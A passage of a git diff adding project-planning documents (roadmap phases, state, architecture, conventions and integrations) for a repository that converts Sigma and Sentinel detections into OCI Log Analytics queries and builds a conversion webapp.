PRI-01, PRI-02, PRI-03, PRI-04 +**Success Criteria** (what must be TRUE): + 1. `scripts/sentinel_backlog_prioritize.py` writes a non-empty, deterministically ordered `queries/sentinel_backlog_priority.json` ranking unmapped Sentinel candidates by MITRE coverage gap × converter TIER difficulty. + 2. Each ranked entry carries an `unblock_chain_length` metric counting how many other candidates would promote if the same blocker (operator, mapping, parser readiness) were resolved. + 3. `scripts/release_checklist.py` summary output includes an advisory (non-blocking) line of the form `Sentinel backlog: ranked; top blocker: ` driven by the prioritizer. + 4. `scripts/sync_sentinel_kql.py` is rerun as an explicit entry condition before each prioritizer run and the freshness timestamp is recorded inside the priority JSON. +**Exit Conditions**: + - At least the top 20 backlog entries cite a concrete blocker reason traceable to either an operator in Phase 9 scope or a mapping field listed in MAP-05. + - Prioritizer can be re-run idempotently and produces stable ordering for unchanged inputs. +**Plans**: 3 plans + +Plans: +- [x] 08-01: Prioritizer generator. +- [x] 08-02: Release advisory and artifact contract. +- [x] 08-03: Docs, status, and gates. + +### Phase 9: Operator Parity and Field Mapping Bulk Expansion + +**Goal**: Promoted Sentinel coverage climbs from 8 toward a 50–100-query target by closing the dominant operator and mapping blockers in cohort-driven PRs, with parser-side extraction handled explicitly where OCL field mapping alone is insufficient. +**Depends on**: Phase 8 +**Requirements**: MAP-05, MAP-06, OP-01, OP-02, OP-03, OP-04, OP-05, OP-06, PARSER-01, PARSER-02, PARSER-03 +**Success Criteria** (what must be TRUE): + 1. `promoted_count` in `queries/sentinel_conversion_report.json` reaches at least **50** (target 100) with every promoted artifact still gated on live OCI parser validation — the live-validation promotion gate is **not** relaxed. + 2. `extend` with `iff`, `tostring`, `toint`, `tolong`, `tolower`, `toupper`; single-use `let` constant inlining; `bin(TimeGenerated, span) → timestats span=`; and `project` / `project-away` / `top N by` / `distinct` / `countif` / `column_ifexists` all translate to valid OCL with operator-level tests covering at least one promoted fixture each. + 3. Lossy emissions stay SKIPPED with structured reasons: `parse_command_line`, `parse with literal anchors`, true regex `matches regex`, `mv-expand`, `bag_unpack`, `series_*`, `geo_*`, cross-table `join`, `_GetWatchlist`, `evaluate plugin(...)` — a converter test injects each shape and asserts it does not silently rewrite to a weaker OCL form. + 4. KQL `set timeout=...`, `set truncationmaxsize=...`, and `set query_take_max_records=...` directives are stripped silently and no longer surface as `field_mapping_failure` in the report. + 5. The MAP-05 field cluster (`Subject*`, `InitiatingProcess*` extras, `MailboxOwnerUPN`, `OfficeWorkload`, `OrganizationName`, `ClientInfoString`, `UserType`, `ParentProcessName`, `ProcessId`, `Exe`, `LocalFile`, `ActingProcessFileInternalName`, `Logon_Type` alias) is fully mapped; every entry either resolves to a key already present in `queries/log_source_field_dictionary.json` or carries a documented parser-source contract reference under `docs/parser_readiness/.md`. + 6. At least the `EventData` ObjectDN / ObjectName / AttributeLDAPDisplayName trio is wired through a SOC parser change verified end-to-end against a synthetic fixture; fields whose extraction requires SOC parser work outside this milestone are flagged `parser_change_required: true` in the mapping shards and SKIPPED with `parser_readiness:pending`. +**Exit Conditions**: + - Each new operator translator and field mapping ships as its own PR with golden-fixture tests under `scripts/test_kql/`. + - No hand-authored content lands under `logandetectionqueries/` or `logandetectionrules/`; new mappings reach promoted JSON only via the converter. + - `python3 -m pytest -q` and `python3 scripts/deploy_dashboard.py --dry-run` still pass. +**Plans**: TBD + +### Phase 10: Drift Detector and Synthetic-Hit Promotion Gate + +**Goal**: Scaled promotion never silently regresses, and "compiles and runs" can no longer masquerade as "returns meaningful data" — both gates exist before promoted_count moves into the human-review-impractical range. +**Depends on**: Phase 9 +**Requirements**: DRIFT-01, DRIFT-02, DRIFT-03, DRIFT-04 +**Success Criteria** (what must be TRUE): + 1. `scripts/sentinel_drift_check.py` diffs current `queries/sentinel_conversion_report.json` against the `main:` baseline plus per-file `live_validation_status` and Logan QL body hashes, writes `queries/sentinel_drift.json`, and exits non-zero on regression — a test injects a mapping change that demotes a promoted file and confirms the checker fails. + 2. Every promoted artifact in `queries/sentinel/*.json` records a `parser_schema_hash` derived deterministically from `queries/log_source_field_dictionary.json`; drift in this hash without an explicit promotion run is flagged in `queries/sentinel_drift.json`. + 3. `scripts/release_checklist.py` enforces `live_synthetic_hit_count > 0` per promoted Sentinel artifact and blocks promotion (non-zero exit) when a promoted query produces zero rows against its paired synthetic-log fixture. + 4. `queries/sentinel_conversion_report.json` summary separates `live_validation_passed_with_rows` from `live_validation_passed_zero_rows`; the two counters reconcile to the existing `promoted_count`. +**Exit Conditions**: + - Synthetic-fixture audit (Phase 10 plan) catalogs which promoted artifacts are missing a paired fixture and remediates or downgrades them before the gate is enforced. + - Drift checker is wired into `scripts/release_checklist.py` and the local non-live gate path. +**Plans**: TBD + +### Phase 11: CI Workflow with PR Dry-Run vs Scheduled-Live Lane Split + +**Goal**: Pull requests get fast, deterministic verification while live OCI calls are isolated to manual/scheduled jobs with cached results, sensitive-value scanning, and full Sentinel↔report↔catalog↔manifest reconciliation. +**Depends on**: Phase 10 +**Requirements**: CI-01, CI-02, CI-03, CI-04, CI-05, CI-06 +**Success Criteria** (what must be TRUE): + 1. `.github/workflows/sentinel-converter.yml` runs four jobs on PRs that touch `scripts/`, `config/mapping/`, or `queries/`: `unit` (operator tests, no OCI), `integration` (dry-run full corpus, no live calls), `drift` (vs `main` baseline), `live` (`workflow_dispatch` or `schedule`, OCI secrets, delta-only) — fork PRs cannot reach org secrets and `live` is never auto-triggered on PR open. + 2. The Sentinel workflow's classifier treats `429`, `RequestThrottled`, and `TooManyRequests` as `live_environment` defects (retry-eligible) rather than `live_validation` failures, so throttling no longer blocks promotion in the report; a synthetic 429 fixture is asserted to be retry-eligible. + 3. Live calls in CI are cached on `(logan_ql_hash, parser_schema_hash, lookback)` with a configurable TTL; a re-run of the `live` job against an unchanged candidate set hits the cache and makes zero new OCI API calls. + 4. `scripts/scan_sensitive_values.py` runs over `queries/sentinel/*.json` and `queries/sentinel_conversion_report.json` after promotion (not only at pre-commit) with extended patterns covering OCIDs, public IPs, compartment names, and tenancy host suffixes; a seeded test secret in a fixture causes the scan to fail. + 5. `scripts/check_inventory_drift.py` is extended to reconcile Sentinel JSON ↔ `sentinel_conversion_report.json` ↔ `queries/catalog.json` ↔ `queries/manifest.json` and fails the PR when any of the four is out of sync. + 6. The CI summary comment posts backlog-priority delta and drift-detector results on every PR (delta vs `main:queries/sentinel_backlog_priority.json` and `main:queries/sentinel_drift.json`). +**Exit Conditions**: + - The first scheduled `live` job runs against a representative delta, populates the cache, and posts results without blowing the OCI API budget. + - `scripts/release_checklist.py --include-live` continues to work as the local equivalent path and produces compatible evidence under `docs/health/`. + - README/STATUS counts continue to reconcile with `queries/catalog.json` via the extended drift check. +**Plans**: TBD + +--- + +## Milestone v3.0 - Logan QL Conversion Workbench + +Phases 12-16 define and deliver the integrated `webapp/` workbench for converting Splunk SPL, Microsoft Sentinel KQL, Elastic/Lucene/KQL, Sigma/YAML, and OCI passthrough examples into OCI Log Analytics QL. This repository remains the producer of generated command-reference, mapping-pattern, example, and schema artifacts; `webapp/` consumes those artifacts and implements the user-facing editor/output experience. + +- [ ] **Phase 12:** Frontend Boundary and Artifact/API Contract +- [ ] **Phase 13:** Official OCI Logan QL Reference Catalog +- [ ] **Phase 14:** Cross-QL Conversion Pattern Library +- [ ] **Phase 15:** Integrated Workbench UX +- [ ] **Phase 16:** Examples, Validation, and Release Gates + +### Phase 12: Frontend Boundary and Artifact/API Contract + +**Goal**: The milestone has a clear producer/consumer boundary, integrated `webapp/` target, and versioned artifact/API schemas before UI implementation starts. +**Depends on**: Phase 11 planning context; may execute while unresolved v2.0 implementation items remain isolated. +**Requirements**: API-01, API-02, API-03 +**Success Criteria** (what must be TRUE): + 1. The integrated `webapp/` target is documented as the maintained UI surface. + 2. `schemas/logan_workbench/` defines versioned JSON schemas for artifact manifest, conversion request, conversion response, command reference, examples, and warnings. + 3. The artifact import path from this repo to `webapp/` is repeatable and documented, with build/startup validation expected in the app. + 4. Sentinel and Sigma workbench examples are sourced through existing converter/mapping paths rather than UI-owned converter generation logic. +**Exit Conditions**: + - A phase summary names the exact `webapp/` route to implement. + - Producer-side schema tests pass. + - UI code added inside this repository stays under `webapp/` and does not duplicate producer logic. +**Plans**: TBD + +### Phase 13: Official OCI Logan QL Reference Catalog + +**Goal**: The workbench command menu is generated from official OCI Log Analytics documentation with provenance, categories, syntax summaries, and deterministic tests. +**Depends on**: Phase 12 +**Requirements**: REFCAT-01, REFCAT-02, REFCAT-03 +**Success Criteria** (what must be TRUE): + 1. `scripts/generate_logan_reference_catalog.py` writes `queries/logan_ql_reference_catalog.json` from the OCI query-search and command-reference documentation sources. + 2. Each catalog entry includes command name, category, source URL, retrieved timestamp, syntax summary, and examples or notes where the official page exposes them. + 3. The generated catalog includes at least the core commands needed by the workbench menu: `search`, `stats`, `timestats`, `eval`, `fields`, `where`, `sort`, `top`, `distinct`, `regex`, `lookup`, extraction commands, and clustering-related commands when present in the reference. + 4. Tests fail if required command metadata or provenance is missing, and normal local tests use fixtures rather than live network calls. +**Exit Conditions**: + - Catalog generation is deterministic for unchanged fixtures. + - Manual edits to generated catalog output are documented as disallowed. + - `webapp/` has a documented artifact field map for menu rendering. +**Plans**: TBD + +### Phase 14: Cross-QL Conversion Pattern Library + +**Goal**: Users can understand how source-query constructs map to OCI Log Analytics QL before the UI exposes arbitrary conversion behavior. +**Depends on**: Phase 13 +**Requirements**: XQL-01, XQL-02, XQL-03, DOC-01 +**Success Criteria** (what must be TRUE): + 1. `queries/cross_ql_mapping_patterns.json` covers source filters, field references, boolean logic, time windows, aggregation, projection, eval/extend, regex/extraction, lookup/watchlist semantics, joins/correlation, sort/top, and unsupported constructs. + 2. Every pattern includes source language, source construct, OCI Log Analytics QL command mapping, support level, warning behavior, and example references. + 3. `docs/logan_workbench_mapping_guide.md` explains how to map Splunk SPL, Sentinel KQL, Elastic/Lucene/KQL, Sigma/YAML, and generic query constructs to OCI Log Analytics QL. + 4. Lossy or unsupported constructs emit explicit `lossy` or `unsupported` metadata and are never represented as fully supported conversions. +**Exit Conditions**: + - Pattern tests cover representative constructs for every supported source language. + - Unsupported examples are tested as blocked or warning-emitting responses. + - Mapping guide links examples to generated pattern IDs. +**Plans**: TBD + +### Phase 15: Integrated Workbench UX + +**Goal**: `webapp/` exposes a real converter workbench as the first screen for this capability, backed by generated artifacts from this repo. +**Depends on**: Phase 14 +**Requirements**: WB-01, WB-02, DOC-02, QA-03 +**Success Criteria** (what must be TRUE): + 1. The `/forge` route provides source language selector, source editor, OCI Log Analytics QL output, explanation panel, command/reference menu, example picker, warnings, and copy/export actions. + 2. The UI consumes generated catalog, pattern, schema, and example artifacts and validates them through `webapp/` TypeScript/Zod boundaries. + 3. Command menu entries and examples provide contextual mapping guidance without turning the first screen into a marketing or static documentation page. + 4. Browser checks cover desktop and mobile layouts, keyboard operation for copy/export, visible warning states, and no incoherent text overlap. +**Exit Conditions**: + - `webapp/` build, typecheck, lint, and targeted browser tests pass. + - The workbench can convert or explain all Phase 16 examples through the same UI path. + - This repo records the `webapp/` artifact import command and verification evidence location. +**Plans**: TBD + +### Phase 16: Examples, Validation, and Release Gates + +**Goal**: The workbench milestone is backed by realistic, synthetic, tested examples and repeatable release gates across producer artifacts and `webapp/`. +**Depends on**: Phase 15 +**Requirements**: WB-03, QA-01, QA-02 +**Success Criteria** (what must be TRUE): + 1. `queries/conversion_examples.json` contains 10-20 examples across Splunk SPL, Sentinel KQL, Elastic/Lucene/KQL, Sigma/YAML, and OCI QL passthrough. + 2. Each example includes source query, source language, expected OCI Log Analytics QL, explanation, warnings, support level, and synthetic log shape reference where applicable. + 3. Producer-side tests validate schemas, command catalog, mapping patterns, examples, warnings, and sensitive-value scans. + 4. `webapp/` e2e checks exercise example loading, conversion/explanation rendering, command menu use, warning display, copy/export actions, and responsive layout. +**Exit Conditions**: + - No workbench artifact contains credentials, OCIDs, public IPs, tenancy names, or unredacted live payloads. + - `python3 -m pytest` targeted workbench tests pass in this repo. + - The `webapp/` verification commands pass and are recorded in the handoff. +**Plans**: TBD + +## Progress + +| Phase | Plans Complete | Status | Completed | +|-------|----------------|--------|-----------| +| 1. GSD Brownfield Baseline | 3/3 | Complete | 2026-05-14 | +| 2. Detection Integrity Gates | 3/3 | Complete | 2026-05-14 | +| 3. Sentinel Conversion Backlog | 3/3 | Complete | 2026-05-14 | +| 4. Dashboard and Parser Contract Hardening | 4/4 | Complete | 2026-05-15 | +| 5. Release and Security Automation | 3/3 | Complete | 2026-05-15 | +| 6. KQL Subpackage Extraction and Canonicalizer | 10/10 | Complete | 2026-05-16 | +| 7. Mapping Config Sharding and Collision Lint | 4/4 | Complete | 2026-05-17 | +| 8. Backlog Prioritizer and Cohort Overlay | 3/3 | Complete | 2026-05-17 | +| 9. Operator Parity and Field Mapping Bulk Expansion | 0/? | Not started | - | +| 10. Drift Detector and Synthetic-Hit Promotion Gate | 0/? | Not started | - | +| 11. CI Workflow with PR Dry-Run vs Scheduled-Live Lane Split | 0/? | Not started | - | +| 12. Frontend Boundary and Artifact/API Contract | 0/? | Not started | - | +| 13. Official OCI Logan QL Reference Catalog | 0/? | Not started | - | +| 14. Cross-QL Conversion Pattern Library | 0/? | Not started | - | +| 15. Sibling Workbench UX Integration | 0/? | Not started | - | +| 16. Examples, Validation, and Release Gates | 0/? | Not started | - | + +--- +*Roadmap created: 2026-05-14* +*Last updated: 2026-05-17 - v3.0 Logan QL Conversion Workbench phases added* diff --git a/observability-and-management/assets/oci-log-analytics-detections/.planning/STATE.md b/observability-and-management/assets/oci-log-analytics-detections/.planning/STATE.md new file mode 100644 index 000000000..4bafa2002 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.planning/STATE.md @@ -0,0 +1,104 @@ +--- +gsd_state_version: 1.0 +milestone: v3.0 +milestone_name: Logan QL Conversion Workbench +status: in_progress +last_updated: "2026-05-18T05:30:00Z" +last_activity: "2026-05-18 - Forge frontend deployed to OKE and OKE telemetry runbook captured for OCI Kubernetes Monitoring metadata/metrics troubleshooting" +progress: + total_phases: 5 + completed_phases: 0 + total_plans: 0 + completed_plans: 0 + percent: 0 +--- + +# Project State + +## Project Reference + +See: .planning/PROJECT.md (updated 2026-05-17) + +**Core value:** Every committed detection, query, dashboard, parser mapping, and generated artifact must remain deployable and verifiable against OCI Log Analytics without leaking tenant-specific data. +**Current focus:** v3.0 - Logan QL Conversion Workbench; maintain the integrated `webapp/` frontend for cross-QL conversion into OCI Log Analytics QL while this repo generates the command catalog, mapping patterns, examples, and schemas that the frontend consumes. v2.0 Phase 9+ work remains open history and must not be treated as completed by this milestone switch. + +## Current Position + +Phase: 12 (frontend-boundary-and-artifact-api-contract) - In progress +Plan: — +Status: Forge webapp is being consolidated under `webapp/`; OKE deployment remains targeted at the existing Octo APM LB on convert.octodemo.cloud with bundled read-only producer artifacts unless API Gateway backend secrets are present +Last activity: 2026-05-18 - Deployed Forge to OKE, validated external health, and documented reusable ONM/OKE telemetry troubleshooting for future clusters/products + +## Performance Metrics + +**Velocity:** + +- Total plans completed: 16 +- Average duration: n/a +- Total execution time: 0.0 hours + +**By Phase:** + +| Phase | Plans | Total | Avg/Plan | +|-------|-------|-------|----------| +| 1 | 3 | - | - | +| 2 | 3 | - | - | +| 3 | 3 | - | - | +| 4 | 4 | - | - | +| 5 | 3 | - | - | + +**Recent Trend:** + +- Last 5 plans: 04-03, 04-04, 05-01, 05-02, 05-03 +- Trend: complete + +## Accumulated Context + +### Decisions + +Decisions are logged in `.planning/PROJECT.md`. + +- 2026-05-14: Use `.planning/` as the GSD project root for this repo. +- 2026-05-14: Keep generated artifact boundaries from `CLAUDE.md` and README as hard project constraints. +- 2026-05-14: Do not auto-commit planning docs while the worktree contains unrelated pre-existing changes. +- 2026-05-15: v2.0 milestone scoped to Sentinel KQL → Logan QL parity; phase numbering continues from v1.0 starting at Phase 6. +- 2026-05-15: Reject third-party KQL parser libraries (kusto-query-language-parser immature; pythonnet+Kusto.Language broken on macOS ARM); extend hand-rolled stage pipeline under new `scripts/kql/` subpackage. +- 2026-05-15: Add test-tier deps only (`pytest >= 8.3`, `hypothesis >= 6.150` in `requirements-dev.txt`); runtime deps in `requirements.txt` stay untouched. +- 2026-05-15: Promotion gate remains live OCI parser validation — v2.0 does not relax it; new gates (synthetic-hit, drift) sit on top. +- 2026-05-16: Sentinel synthetic readiness requires source-backed predicate fields and non-empty live Logan QL results. Do not treat parser-valid but empty results as production-ready. +- 2026-05-17: v3.0 initially scoped as a sibling frontend workbench; superseded on 2026-05-18 by the user decision to move the UI into this long-term repo. +- 2026-05-18: `webapp/` is the maintained Forge frontend source of truth; the old `LoganSecurityDashboardv0` project is historical only. +- 2026-05-17: The v3.0 OCI command menu must be generated from official Oracle Log Analytics docs with provenance instead of being hand-authored in frontend components. + +### Pending Todos + +- Plan the remaining Phase 9 operator parity and field mapping bulk expansion work via `$gsd-plan-phase 9`; do not treat the 2026-05-17 promotion/test pass as full Phase 9 completion. +- Optional: decide whether Phase 10-style synthetic-hit promotion metadata should be backfilled for the 20 candidates that returned rows in `queries/sentinel_synthetic_live_results.json`; current canonical promotion still uses live parser validation. +- If running `python3 scripts/release_checklist.py --include-live`, expect it to rewrite generated artifacts. Use a clean or intentionally staged worktree first. +- Keep `webapp/` docs, deploy scripts, and security controls aligned with the generated artifact contract. +- Use `docs/OKE_OBSERVABILITY_RUNBOOK.md` when deploying Forge or diagnosing OCI Kubernetes Monitoring telemetry on other OKE clusters; keep the runbook placeholder-safe and free of tenant-specific values. + +### Blockers/Concerns + +- Live OCI validation requires explicit profile/environment access and should not be assumed for local-only tasks. The 2026-05-17 production validation used `OCI_PROFILE=cap`. +- RESOLVED 2026-06-05: `scripts/convert_sigma.py --validate` now reports **0 warnings** over 678 queries (previously 20). The validator was hardened (escaped-quote parity, negative-paren-depth, unterminated-quote detection) and all local gates are green. +- Phase 7 strict YAML loader found no duplicate keys in the generated shard layout; future mapping edits must go through `config/mapping/` and regenerate `config/sentinel_oci_mapping.yaml`. +- CI secrets handling for fork PRs (Phase 11) needs a short security-review spike before the `live` job is wired. +- `docs/health/*.json` evidence is ignored by git; live evidence files exist locally for the 2026-05-16 pass but require explicit archival if they must be shared. +- v3.0 now lives in this repo. Phase work must avoid duplicating converter generation logic in `webapp/` and must keep tenant-specific values out of examples, docs, and UI output. + +## Deferred Items + +| Category | Item | Status | Deferred At | +|----------|------|--------|-------------| +| Automation | CI release gates for all local checks | Superseded by CI-01 (Phase 11) | Initialization | +| Coverage | Sentinel live-failure backlog reduction | Active in Phase 9 (operator + mapping bulk) | Initialization | +| Coverage | KQL ML operators (`series_*`, `autocluster`) | Out of scope v2.0 | 2026-05-15 | +| Coverage | `geo_*`, dynamic-bag expansion, cross-table `join` | Out of scope v2.0 | 2026-05-15 | +| Automation | OCI Lookups-backed watchlist replacement | Post-v2.0 epic | 2026-05-15 | + +## Session Continuity + +Last session: 2026-05-17T08:44:38.184Z +Stopped at: v3.0 milestone initialized and ready for Phase 12 planning +Resume file: .planning/ROADMAP.md (v3.0 Phase 12 entry point) diff --git a/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/ARCHITECTURE.md b/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/ARCHITECTURE.md new file mode 100644 index 000000000..c4642ca62 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/ARCHITECTURE.md @@ -0,0 +1,60 @@ +--- +last_mapped_commit: 671c18eb3203a99666d170682997de48cb43f0f2 +mapped_at: 2026-05-14 +focus: arch +--- + +# Architecture + +## Pattern + +The repo is an artifact-producing detection engineering pipeline. It has a source authoring layer, conversion/generation scripts, generated artifact contracts, deployment helpers, synthetic data generators, and validation gates. + +## Data Flow + +```text +rules/** ------------------------------------> scripts/convert_sigma.py + | + +--> queries/*.json + +--> queries/apps/*.json + +official Sentinel corpus + mapping config ----> scripts/sentinel_conversion_workflow.py + | + +--> queries/sentinel/*.json + +--> queries/sentinel_conversion_report.json + +queries/** + dashboard definitions -----------> scripts/generate_catalog.py +queries/** + dashboard definitions -----------> scripts/deploy_dashboard.py +queries/** -----------------------------------> scripts/export_for_multicloud.py +parser mappings + synthetic contracts --------> scripts/field_dictionary.py +``` + +## Layers + +- Source authoring: `rules/**`, curated `queries/apps/**`, curated `queries/hunting/**`. +- Conversion: `scripts/convert_sigma.py`, `scripts/convert_sentinel_kql.py`, `scripts/sentinel_conversion_workflow.py`. +- Inventory: `scripts/generate_catalog.py`, `scripts/export_for_multicloud.py`, `scripts/field_dictionary.py`, `scripts/detection_rule_creator.py`. +- Deployment: `scripts/setup_log_sources.py`, `scripts/deploy_dashboard.py`, `scripts/setup_streaming_pipeline.py`, `scripts/ingest_test_data.py`. +- Verification: `scripts/test_*.py`, `scripts/audit_rule_quality.py`, `scripts/validate_synthetic_logs.py`, `scripts/release_checklist.py`, `scripts/verify_deployed_dashboards.py`. +- Documentation: `README.md`, `STATUS.md`, `docs/**`, `CATALOG.md`, `.planning/**`. + +## Entry Points + +- Local validation: `python3 -m pytest -q` +- Release validation: `python3 scripts/release_checklist.py` +- Dashboard inventory/dry-run: `python3 scripts/deploy_dashboard.py --export-inventory` and `--dry-run` +- Sentinel status: `python3 scripts/sentinel_conversion_workflow.py status --json --strict` +- Rule quality: `python3 scripts/audit_rule_quality.py --report docs/RULE_QUALITY_REPORT.md` + +## Core Invariants + +- `queries/catalog.json` is canonical for counts. +- `queries/dashboard_inventory.json` is generated from dashboard definitions. +- `queries/sentinel/**` contains only promoted live-validation-passed Sentinel conversions. +- `logandetectionqueries/` and `logandetectionrules/` are legacy empty directories. +- `SOC Application Logs` is the supported source for app/browser/APM analytics. +- Tenant-specific values must remain placeholders or environment-provided values. + +## GSD Fit + +GSD phases should treat generated artifacts as first-class deliverables. A phase is not done when code changes pass tests only; generated inventory/docs must also be reconciled when the code path changes counts, dashboards, fields, or manifests. diff --git a/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/CONCERNS.md b/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/CONCERNS.md new file mode 100644 index 000000000..71a2d49a1 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/CONCERNS.md @@ -0,0 +1,65 @@ +--- +last_mapped_commit: 671c18eb3203a99666d170682997de48cb43f0f2 +mapped_at: 2026-05-14 +focus: concerns +--- + +# Concerns + +## Dirty Worktree + +The repo currently has a broad dirty worktree with many modified, deleted, and untracked files. Future GSD workflows must: + +- Check `git status --short` before editing. +- Isolate changes to the task scope. +- Avoid `git checkout --`, `git reset`, or generated artifact cleanup unless explicitly requested. +- Avoid committing if the target file already contains unrelated user edits that cannot be staged separately. + +## Generated Artifact Drift + +Many docs and JSON files are generated or count-bearing. Any change to rules, queries, dashboards, parser mappings, Sentinel reports, or synthetic data can require multiple regenerated artifacts. + +Risk surfaces: + +- README/STATUS count drift from `queries/catalog.json`. +- Dashboard inventory drift from `scripts/deploy_dashboard.py`. +- Field dictionary drift from parser mappings or synthetic contracts. +- Sentinel conversion report mismatch with promoted files. + +## Live OCI Coupling + +Some workflows need live OCI parser or dashboard validation. These are high-value but environment-dependent: + +- Active `OCI_PROFILE` may differ by operator. +- Namespace, compartment, and source readiness can differ by tenancy. +- Live validation should be explicit, not automatic. + +## Sentinel Backlog Scale + +`queries/sentinel_conversion_report.json` currently records 4,452 attempted candidates, 421 promoted live-passed queries, 53 live failures, and many skipped candidates. Improvements must be bucketed and tested incrementally. + +## Parser Field Fragility + +Dashboard queries depend on display fields extracted by custom parsers. Adding fields to queries without updating: + +- `scripts/setup_log_sources.py` +- `queries/log_source_field_dictionary.json` +- `config/synthetic_log_contracts.json` +- app/query contract tests + +can produce dashboards that dry-run locally but fail live. + +## Secret and Tenant Hygiene + +This repo includes deployment and live validation tooling. Guard against committing: + +- OCIDs +- public IPs +- tenancy names +- profile-specific compartment values +- API keys or auth tokens +- unredacted live error payloads + +## Legacy Directories + +`logandetectionqueries/` and `logandetectionrules/` remain present but should not receive new content. New tools must consume `queries/**` and generated inventory artifacts instead. diff --git a/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/CONVENTIONS.md b/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/CONVENTIONS.md new file mode 100644 index 000000000..c7d22c59b --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/CONVENTIONS.md @@ -0,0 +1,53 @@ +--- +last_mapped_commit: 671c18eb3203a99666d170682997de48cb43f0f2 +mapped_at: 2026-05-14 +focus: quality +--- + +# Conventions + +## Content Boundaries + +- Add source-derived detections under `rules/**`, then regenerate queries. +- Add curated app analytics under `queries/apps/**`. +- Add curated hunting analytics under `queries/hunting/**`. +- Do not add new content under `logandetectionqueries/` or `logandetectionrules/`. +- Do not hand-edit promoted Sentinel query JSON; change converter/mapping inputs instead. + +## Python Style + +- Scripts are plain Python modules in `scripts/`. +- Tests import scripts directly by adding `scripts/` to `sys.path` where needed. +- Prefer deterministic generation with stable sort/order because generated JSON and docs are reviewed in git. +- Existing code often favors module-level constants for dashboard/query/parser definitions. +- Keep validation failures explicit. Avoid broad `pass` or swallowed exceptions in new code. + +## Query and Field Conventions + +- Use OCI Log Analytics display field names that exist in parser/source dictionaries. +- Quote string-typed fields such as Windows `'Event ID' = '4688'`. +- Avoid unsupported live-validation query patterns blocked by dashboard tests. +- For multi-word phrase `LIKE` matching in OCI LA, prefer wildcard-token form such as `*token1*token2*`. +- `SOC Application Logs` is the correct source for app/browser/APM dashboard queries. + +## Dashboard Conventions + +- Edit dashboard definitions in `scripts/deploy_dashboard.py`. +- Use visualization metadata for width/height; let `resolve_widget_layout()` compute placement. +- Export and review `queries/dashboard_inventory.json` after dashboard changes. +- Keep dashboard query files and widget references in sync. + +## Documentation Conventions + +- README/STATUS inventory counts should reconcile with generated artifacts. +- `queries/catalog.json` is authoritative for counts. +- Add or update docs when a project-level contract changes. +- Use placeholders for profiles, regions, compartments, OCIDs, and IP addresses in committed docs. + +## GSD Conventions + +- Use `.planning/PROJECT.md` and `.planning/STATE.md` as the current context source. +- Use `$gsd-plan-phase ` before substantial implementation work. +- Use `$gsd-audit-fix` for concrete review/test/audit findings. +- Update `.planning/STATE.md` after phase completion or major handoffs. +- Do not auto-commit from GSD workflows while unrelated user changes are present. diff --git a/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/INTEGRATIONS.md b/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/INTEGRATIONS.md new file mode 100644 index 000000000..6661dccca --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/INTEGRATIONS.md @@ -0,0 +1,65 @@ +--- +last_mapped_commit: 671c18eb3203a99666d170682997de48cb43f0f2 +mapped_at: 2026-05-14 +focus: tech +--- + +# Integrations + +## Oracle Cloud Infrastructure + +Primary integration is OCI Log Analytics through the OCI Python SDK: + +- `scripts/oci_config.py` centralizes profile, tenancy, compartment, namespace, and client helpers. +- `scripts/setup_log_sources.py` manages Log Analytics sources, parsers, fields, and parser mappings. +- `scripts/deploy_dashboard.py` validates Log Analytics queries and imports OCI Management Dashboards. +- `scripts/ingest_test_data.py` uploads generated datasets. +- `scripts/setup_streaming_pipeline.py` configures streams and service connectors for live ingestion. +- `scripts/verify_deployed_dashboards.py` runs live dashboard/widget validation. + +## OCI Management Dashboards + +Dashboard definitions live in code in `scripts/deploy_dashboard.py`. Generated inventory is written to `queries/dashboard_inventory.json`. + +Important contract: + +- Widget layout should be driven by visualization metadata and `resolve_widget_layout()`. +- Dashboard saved-search widgets default to scoped lookbacks where needed for demo visibility. +- Import should be preceded by local dry-run/query validation. + +## Sigma + +Source rules under `rules/**` follow Sigma-style YAML and are converted through `scripts/convert_sigma.py`. + +Local SigmaHQ cache exists under `.sigmahq/` and is used for synchronization and coverage work. Treat it as an input cache, not a project output surface. + +## Microsoft Sentinel + +Sentinel content comes from an Azure Sentinel corpus cache and converter workflow: + +- `.sentinel/Azure-Sentinel/` - local corpus cache. +- `scripts/sync_sentinel_kql.py` - sync support. +- `scripts/convert_sentinel_kql.py` - conversion implementation. +- `scripts/sentinel_conversion_workflow.py` - local/promote/refresh/page/triage/status wrapper. +- `queries/sentinel/**` - only live OCI parser-passing promoted query artifacts. +- `queries/sentinel_conversion_report.json` - source of truth for skipped, failed, and promoted candidates. + +## Webapp and Downstream Consumers + +This repo produces artifacts for its integrated webapp and downstream projects: + +- `webapp/` consumes the Logan workbench artifacts, catalog, dashboard inventory, and test-data manifest. +- `mcp-oci-logan-server` should consume generated query/dashboard contracts. +- `octo-apm-demo` consumes `queries/octo_apm_workshop_bundle.json` and scoped deployment assets. + +UI and downstream projects must not duplicate query generation or OCI dashboard deployment logic. + +## External Research Sources + +Source-attributed candidate discovery and documentation references include: + +- SigmaHQ rule corpus. +- Microsoft Sentinel official content. +- MITRE ATT&CK metadata embedded in rules. +- Atomic Red Team mappings via `config/art_index.csv` and `scripts/map_atomic_tests.py`. +- FreeLabFriday, MELTS, BLUELIGHT/APT37, and related source-attributed hunt content as documented in README/STATUS. diff --git a/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/STACK.md b/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/STACK.md new file mode 100644 index 000000000..6efec452a --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.planning/codebase/STACK.md @@ -0,0 +1,64 @@ +--- +last_mapped_commit: 671c18eb3203a99666d170682997de48cb43f0f2 +mapped_at: 2026-05-14 +focus: tech +--- + +# Stack + +## Languages and Runtime + +- Python 3 is the primary runtime for conversion, validation, generation, deployment, and tests. +- YAML is used for Sigma-style source rules under 